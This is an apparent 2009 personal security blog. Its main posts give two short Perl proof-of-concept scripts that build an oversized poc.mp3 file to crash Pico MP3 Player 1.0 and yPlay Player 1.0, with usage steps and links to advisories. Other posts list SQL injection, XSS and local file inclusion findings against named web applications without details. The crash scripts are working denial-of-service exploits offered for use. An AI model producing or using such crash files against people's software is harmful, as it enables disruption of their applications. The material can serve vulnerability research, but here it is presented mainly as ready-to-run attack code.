Tuesday, August 25, 2009

two music player crash vulnerability

hi
Pico MP3 Player 1.0 (.mp3 File) Local File Crash PoC
http://thaddy.co.uk/picomp3.zip

#!/usr/bin/perl
# platen.secure [at] gmail.com
# Pico MP3 Player 1.0 (.mp3 File) Local File Crash PoC
my $crash="A" x 2500;
open(myfile,'>>poc.mp3');
print myfile $crash;

http://packetstormsecurity.org/0908-exploits/pico-dos.txt


#################################################################

yPlay Player 1.0 (.mp3 ) Local File Crash PoC
http://www.spacejock.com/yPlay_Download.html

#!/usr/bin/perl
# platen.secure [at] gmail.com
# yPlay Player 1.0 (.mp3 ) Local File Crash PoC
# http://www.spacejock.com/yPlay_Download.html
my $crash="A" x 2500;
open(myfile,'>>poc.mp3');
print myfile $crash;

http://packetstormsecurity.org/0908-exploits/yplay-crash.txt

usage: first save exploite in expl.pl file and then run this command perl expl.pl \ exploite create poc.mp3 file. if you open poc.mp3 file by vulnerability players , player crash!

two webapp

Xplode CMS (SQL/XSS) Multiple Remote Vuln -link-
Shopmaker CMS 2.0 (bSQL/ LFI) Multiple Remote Vulnerabilities -link-

Some Webapp

hello
This webapp vuln is the property before !...

Arcadwy Games CMS SQL injection vulnerability -link-
Akan Portal SQL injection vulnerability -links-
Blue Utopia local file inclusion vulnerability -links-
Galeri 1 SQL injection vulnerability -links-

first post!

Hi!
I created this blog today and this my first post!

cheer